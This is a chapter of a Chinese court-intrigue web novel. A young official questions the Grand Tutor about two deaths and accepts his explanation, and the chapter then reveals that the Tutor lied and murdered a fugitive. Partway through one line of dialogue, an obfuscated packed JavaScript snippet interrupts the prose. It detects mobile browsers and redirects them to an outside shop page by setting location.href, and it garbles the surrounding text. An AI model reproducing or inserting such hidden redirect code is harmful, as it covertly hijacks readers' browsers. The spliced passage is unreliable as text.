他冷笑一声:“你以为这一切都与他无关?” 说罢,也不再理会贺兰舟,从他身侧撞开他肩膀,大步向外走去。 离开铺子时,他在心中恼怒:该死的贺兰舟,竟从始至终没对他说过一句“生辰快乐”! 凭什么顾庭芳就能有这样的人死心塌地? 他偏偏要把顾庭芳虚伪的面具扯下来!然后—— 死死地踩在脚下。 * 贺兰舟久久没从沈问说的那些话中回神。 沈问是说……这一切都与太傅大人有关? 设局薛有余,他并不在意。 他在意的是吕饶二人,阮青是凶手不错,可他真的罪至死吗? 还有吕饶,吕饶从始至终没有杀过一人,他受过的侮辱冤屈未曾洗清,又为何要死? 他记得顾庭芳说过要还他们公道,可若二人的死,真的跟顾庭芳有关,那、那—— 那相信顾庭芳的他,又算什么? 贺兰舟整个人都破碎了,那一夜,回到家中,一直枯坐在窗边,直到天亮。 他怎么也想不通、想不明白。 次日早朝,他第一次没有贴着顾庭芳走,一路快走至顺天府衙。 可直到下值,他脑中还回荡着沈问那些话。 终是没忍住,贺兰舟出了府衙,并未归家,而是故意等在顾庭芳家门前。 太傅府邸静雅端肃,顾庭芳的马车回来时,他拦住马车前。 马儿长“嘶”一声,车夫喝问:“何人拦马?” 贺兰舟未语。 车马中探出一只白皙的手,然后将车帘掀开,顾庭芳从里面出来,抬眸朝地上立着的人望去。 他愣了一下,不意在此见到贺兰舟,但转瞬,心下又了然。 今日下朝之时,贺兰舟脚步匆匆,第一次没有与他结伴同行,即便和他目光对视,贺兰舟也匆匆别开。 定是有什么事被他知晓了。 顾庭芳敛起神思,车夫瞪一眼贺兰舟,就要去扶他,顾庭芳竖起手掌:“不必。” 他径自下了马车,冲贺兰舟舒朗一笑:“兰舟兄。” 车夫这才明白,拦马车之人与太傅是相识的,他识趣地驾着马车离开,还回头好奇地张望了两眼。 这么一张望,就见素来沉稳冷静的太傅大人,竟头一次冷了脸! 乖乖,那拦马车的,究竟何许人也? 府门前,贺兰舟抿了抿唇,静了很久,才抬眸正视顾庭芳,直接开门见山:“吕饶二人的死,是否与太傅大人有关?” 顾庭芳嘴角的笑意凝在脸上,眸光紧紧锁着他,半晌问他:“可是何人与你说了什么?” 贺兰舟昨日想了许久,从闵王入京,到闵王的死,再到吕饶二人。 这其中,好像都没有顾庭芳的身影,可每一条线,又好似都跟他有关。 “闵王死有余辜,可若故意有人引导阮青杀人,又引导他们自尽……”贺兰舟语气有些沉痛:“那此人是否也有罪过?” 顾庭芳睫毛微微一颤,半抬眸认真凝着他。 夜色已微暗,天边零零落落挂着几颗星辰,巷子里没有烛火,只有太傅府门前挂着两个素净灯笼。 贺兰舟眼中的顾庭芳,依旧如山中白雪、林中青松,他俊美的脸上无一丝表情,唯有那双眼睛像在诉说着什么。 顾庭芳:“你认为……此人是我?” 他平日里语气四平八稳,贺兰舟竟第一次从他声音里听到波澜。 他一时无措,在想,是不是错怪了太傅大人,他捻了捻手指,指腹沁着一层薄汗。 顾庭芳看着他,苦笑一声。 “榕檀,你竟是这般看我的?” 这是顾庭芳第一次唤他“榕檀”。 贺兰舟身子一震,张了张口,却说不出话来。 “你可知,这朝中派系众多,沈问自成一派,解春玿为阉党之首,姜满率大军虎视眈眈。” 顾庭芳冷冷看着他,语速渐快:“陛下需要人护着,可能护着他的又是谁?闵王掌左都,除左都,西北、岭南,都有皇室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340602|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗亲,你觉得,陛下年幼,那几个皇叔又真的愿意看他坐安稳皇位?” “我……” “榕檀,你若要问我闵王一案,那我今日便告诉你。”顾庭芳言:“大召五寺,唯有大理寺听从陛下。大理寺顺着哑奴的线查,早把南风馆里的人都查了个底朝天,甚至洒扫的小厮家中几口人都查得清清楚楚。” 贺兰舟倒没想到大理寺竟不是沈问的人,而是小皇帝的人。 顾庭芳抬袖,难得一见的气怒:“唯有那乐师吕饶,看似独来独往,实则与私塾的礼乐先生关系最为密切。” 阮青生前,是礼乐先生,顾庭芳说的,正是阮青。 原来,大理寺真的查清过。 “你以为东厂、锦衣卫查不出?”顾庭芳嗤笑一声:“他们只是在等!等一个时机,可以夺左都兵权,可以削陛下之臂膀。” 他们每一派都在争,争到自己的利益占到最大,才会善罢甘休。 他贺兰舟能查到,他怎么会觉得遍布京城各处的东厂、锦衣卫会查不出? 贺兰舟背脊发凉。 “凶手若可被逼问出‘背后之人’,各方势力重新打乱,你觉得他们可会放过这个机会?”顾庭芳问。 贺兰舟猛地抬头。 顾庭芳见他想通关窍,轻扯了下唇,又道:“你问我他二人之死,是否与我有关。” 他坦然看向贺兰舟,答:“是!” 贺兰舟长睫一颤,又听他道:“可若我说,我在那处,其实是想救他们呢?” 贺兰舟身子颤了颤,他微抬起头,看清顾庭芳眼底那抹无力之色,听他又道:“闵王手段,可恨可恶。若他们有机会活,为何不可?” “只可惜,我晚了一步。” 原来,顾庭芳是想赶在沈问他们动手前,赶在他们威逼利诱吕饶二人说出“幕后主使”之前,救下他们的。 贺兰舟想到这些,一时惭愧又懊恼。 明明太傅光风霁月,他怎么能那样怀疑他? 沈问其人,阴险狡诈,他怎么就能听信了沈问的话呢? 贺兰舟脸上羞愧,咬了咬下唇,迟疑要开口。 顾庭芳见他面上闪过懊恼之色,轻叹一声,旋即从袖中拿出一份状纸,递到他面前。 “这是左都百姓状告闵王府欺压百姓、强掳男子的状纸。”顾庭芳深深看他一眼,说:“我说过,我必会还他二人公道。” 贺兰舟接过状纸,将上面的一字一句看得仔仔细细。 看罢,猛地抬起头,看清顾庭芳眼底的认真之色,他将状纸叠得整齐,双手奉上,言道:“是榕檀一叶障目了。愿太傅大人为左都百姓伸冤,为吕饶二人正清名。” “清名”二字落下时,路旁的槐树叶随风沙沙作响,府门前的灯笼亦晃动,烛火随之摇曳。 天边的明月已高悬,顾庭芳低头便见眼前人端正的银色发冠,少年清隽,英姿秀发。 其实,顾庭芳从没想过,这朝堂之上会有一人真的愿为民请命,可眼前的人做到了。 微微弯曲的脊梁,是他最诚挚的恳求。 有那么一瞬,顾庭芳有过动摇。 他袖中的手轻颤了下,垂下眼睫,敛过心中所想,从贺兰舟手中接过状纸,轻回了一声“好”。 得到保证,贺兰舟整个人肉眼可见的轻快,眉目弯起,是比月牙还弯的弧度。 他自顾说了好些话,一会儿说他错得离谱,才来此如此质问他,一会儿夸赞他是朝中的第一贤臣…… 顾庭芳听着,只是含笑,未曾应,也不曾反驳。 只等到贺兰舟离开,顾庭芳敛起笑意,沉下脸来。 他将手中的状纸收入袖中,面无表情地收回看向贺兰舟离去的视线,脚步轻抬,朝府门中行去。 贺兰舟亦不知道,在他离去后,有一人从暗处出来,跟随顾庭芳进了府中。 “庭芳。”来人在顾庭芳身后唤了一声,然后道:“越阳坡留下的痕迹,都清理干净了。” 闻言,顾庭芳回头望向他,月色清明,露出来者的面容,正是锦衣卫北镇抚使徐进。 “贺兰舟会相信你说的吗?”徐进问了一句。 虽说吕饶二人之死,不在他们算计之中,但锦衣卫和东厂可没查出闵王的死是那二人所为。 大理寺之所以知道,是顾庭芳命人在吕饶住处候着,贺兰舟他们当日在吕饶家门前的一举一动,自然都被看他们眼里。 派去的人汇报给顾庭芳,顾庭芳便知道他查出来了。 顾庭芳想赶在贺兰舟他们之前找到吕饶二人,却没想到二人竟然自缢了。 可若说,吕饶二人的死与他们无关,也不尽然,毕竟这层层算计之中,阮青愤而杀闵王,亦是必不可少的一环。 “他会。” 顾庭芳看着院中的菊花,秋日时节,菊花已开得焱焱,迎风招展,甚是清雅。 可他到底不是清雅之人。 有时说的多了,连他自己都被骗过了。 可也只有他都认为自己是个好人时,别人才会相信他是。 他极轻地笑了一下,想起那日薛有余被关大牢,他对薛有余说:“往日之举,实属无奈,但我既答应了魏将军,定会保你安然离京。” 薛有余听信了他的话,写下献给小皇帝的伏罪书,小皇帝放他离开。 薛有余逃离京城那日,座下骏马飞驰,他整个人都似极庆幸。 可他这种庆幸,在过越阳坡时,便戛然而止。 是他手中持箭,然后弓弦拉满—— “咻”的一声,手中的箭,不带一丝犹豫地朝薛有余射去,正中他眉心。 薛有余倒地,死不瞑目。 恐怕到最后一刻,他都不明白,自己为何会死。 顾庭芳想,他未曾食言,他保薛有余安然离京,却从未说过,他不会死在京城之外。 顾庭芳从回忆中抽离,闭上眼,微微仰起头,月光笼在他面容之上,莹然玉润,是不世出者也。 徐进一时看呆了去,但随即就见,顾庭芳唇角缓缓绽开一个愉悦至极的弧度。 愉悦至残忍。